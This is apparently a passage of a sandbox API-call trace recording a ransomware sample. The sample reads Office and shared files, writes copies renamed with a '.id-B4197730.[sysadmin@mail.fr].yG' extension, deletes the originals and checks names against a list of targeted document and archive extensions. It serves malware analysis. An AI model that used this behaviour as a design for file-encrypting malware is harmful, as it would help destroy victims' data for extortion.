	[0184.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0184.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.730] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.730] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0184.731] GetLastError () returned 0x0
	[0184.731] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0184.732] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0184.734] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.734] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.734] SetEndOfFile (hFile=0x378) returned 1
	[0184.734] CloseHandle (hObject=0x378) returned 1
	[0184.734] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.734] SetEndOfFile (hFile=0x374) returned 1
	[0184.735] CloseHandle (hObject=0x374) returned 1
	[0184.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0184.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.737] lstrlenW (lpString=".doc") returned 4
	[0184.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString=".docx") returned 5
	[0184.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.737] lstrlenW (lpString=".pdf") returned 4
	[0184.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString=".xls") returned 4
	[0184.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.737] lstrlenW (lpString=".xlsx") returned 5
	[0184.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.737] lstrlenW (lpString=".ppt") returned 4
	[0184.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.737] lstrlenW (lpString=".zip") returned 4
	[0184.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.737] lstrlenW (lpString=".rar") returned 4
	[0184.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString=".bz2") returned 4
	[0184.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString=".7z") returned 3
	[0184.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.737] lstrlenW (lpString=".dbf") returned 4
	[0184.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.737] lstrlenW (lpString=".1cd") returned 4
	[0184.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.737] lstrlenW (lpString=".jpg") returned 4
	[0184.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.738] lstrlenW (lpString=".doc") returned 4
	[0184.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString=".docx") returned 5
	[0184.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.738] lstrlenW (lpString=".pdf") returned 4
	[0184.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString=".xls") returned 4
	[0184.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.738] lstrlenW (lpString=".xlsx") returned 5
	[0184.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.738] lstrlenW (lpString=".ppt") returned 4
	[0184.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.738] lstrlenW (lpString=".zip") returned 4
	[0184.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.738] lstrlenW (lpString=".rar") returned 4
	[0184.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString=".bz2") returned 4
	[0184.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString=".7z") returned 3
	[0184.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.738] lstrlenW (lpString=".dbf") returned 4
	[0184.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.738] lstrlenW (lpString=".1cd") returned 4
	[0184.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0184.738] lstrlenW (lpString=".jpg") returned 4
	[0184.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.739] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.739] lstrlenW (lpString="FD00455_.WMF") returned 12
	[0184.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.739] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=8926) returned 1
	[0184.739] CloseHandle (hObject=0x374) returned 1
	[0184.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220
	[0184.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.740] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.740] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0184.741] GetLastError () returned 0x0
	[0184.741] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x22de, lpOverlapped=0x0) returned 1
	[0184.742] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0184.743] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.743] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.744] SetEndOfFile (hFile=0x378) returned 1
	[0184.744] CloseHandle (hObject=0x378) returned 1
	[0184.744] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.744] SetEndOfFile (hFile=0x374) returned 1
	[0184.745] CloseHandle (hObject=0x374) returned 1
	[0184.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0184.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.746] lstrlenW (lpString=".doc") returned 4
	[0184.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.746] lstrlenW (lpString=".docx") returned 5
	[0184.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.746] lstrlenW (lpString=".pdf") returned 4
	[0184.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.746] lstrlenW (lpString=".xls") returned 4
	[0184.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.746] lstrlenW (lpString=".xlsx") returned 5
	[0184.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.746] lstrlenW (lpString=".ppt") returned 4
	[0184.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.746] lstrlenW (lpString=".zip") returned 4
	[0184.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.747] lstrlenW (lpString=".rar") returned 4
	[0184.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString=".bz2") returned 4
	[0184.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString=".7z") returned 3
	[0184.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.747] lstrlenW (lpString=".dbf") returned 4
	[0184.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.747] lstrlenW (lpString=".1cd") returned 4
	[0184.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.747] lstrlenW (lpString=".jpg") returned 4
	[0184.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0184.747] lstrlenW (lpString=".doc") returned 4
	[0184.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString=".docx") returned 5
	[0184.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.747] lstrlenW (lpString=".pdf") returned 4
	[0184.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString=".xls") returned 4
	[0184.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.747] lstrlenW (lpString=".xlsx") returned 5
	[0184.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.747] lstrlenW (lpString=".ppt") returned 4
	[0184.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") 

Thread:
	id = 98
	os_tid = 0xffc

	[0178.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7519c8
	[0178.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7619d0
	[0178.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa1d0
	[0178.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x7200d8
	[0178.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa320
	[0178.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x39fa020
	[0178.540] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa260
	[0178.540] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa260, Size=0x20) returned 0x6de020
	[0178.540] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa260
	[0178.540] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa260, Size=0x20) returned 0x6de070
	[0178.541] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.541] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.541] Wow64DisableWow64FsRedirection (in: OldValue=0x2edff50 | out: OldValue=0x2edff50*=0x0) returned 1
	[0178.541] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.541] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.541] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.541] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.541] Sleep (dwMilliseconds=0x64) 
	[0178.821] Sleep (dwMilliseconds=0x64) 
	[0179.065] Sleep (dwMilliseconds=0x64) 
	[0179.365] Sleep (dwMilliseconds=0x64) 
	[0179.783] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0179.783] lstrlenW (lpString="ipscat.xml") returned 10
	[0179.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0180.184] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2592) returned 1
	[0180.184] CloseHandle (hObject=0x344) returned 1
	[0180.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20
	[0180.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0180.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.184] lstrlenW (lpString=".doc") returned 4
	[0180.184] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0180.184] lstrlenW (lpString=".docx") returned 5
	[0180.185] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0180.185] lstrlenW (lpString=".pdf") returned 4
	[0180.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString=".xls") returned 4
	[0180.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString=".xlsx") returned 5
	[0180.185] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0180.185] lstrlenW (lpString=".ppt") returned 4
	[0180.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.185] lstrlenW (lpString=".zip") returned 4
	[0180.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0180.185] lstrlenW (lpString=".rar") returned 4
	[0180.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString=".bz2") returned 4
	[0180.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString=".7z") returned 3
	[0180.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.185] lstrlenW (lpString=".dbf") returned 4
	[0180.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.185] lstrlenW (lpString=".1cd") returned 4
	[0180.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.185] lstrlenW (lpString=".jpg") returned 4
	[0180.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.186] lstrlenW (lpString=".doc") returned 4
	[0180.186] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString=".docx") returned 5
	[0180.186] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0180.186] lstrlenW (lpString=".pdf") returned 4
	[0180.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString=".xls") returned 4
	[0180.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString=".xlsx") returned 5
	[0180.186] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0180.186] lstrlenW (lpString=".ppt") returned 4
	[0180.186] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.186] lstrlenW (lpString=".zip") returned 4
	[0180.186] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0180.186] lstrlenW (lpString=".rar") returned 4
	[0180.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString=".bz2") returned 4
	[0180.186] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString=".7z") returned 3
	[0180.186] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.186] lstrlenW (lpString=".dbf") returned 4
	[0180.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.186] lstrlenW (lpString=".1cd") returned 4
	[0180.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0180.186] lstrlenW (lpString=".jpg") returned 4
	[0180.187] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0180.187] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0180.187] lstrlenW (lpString="ipscsy.xml") returned 10
	[0180.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.557] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2556) returned 1
	[0181.557] CloseHandle (hObject=0x358) returned 1
	[0181.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20
	[0181.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.640] lstrlenW (lpString=".doc") returned 4
	[0181.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.640] lstrlenW (lpString=".docx") returned 5
	[0181.640] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1
	[0181.640] lstrlenW (lpString=".pdf") returned 4
	[0181.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.640] lstrlenW (lpString=".xls") returned 4
	[0181.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.640] lstrlenW (lpString=".xlsx") returned 5
	[0181.640] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1
	[0181.640] lstrlenW (lpString=".ppt") returned 4
	[0181.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.640] lstrlenW (lpString=".zip") returned 4
	[0181.641] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.641] lstrlenW (lpString=".rar") returned 4
	[0181.641] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString=".bz2") returned 4
	[0181.641] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString=".7z") returned 3
	[0181.641] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
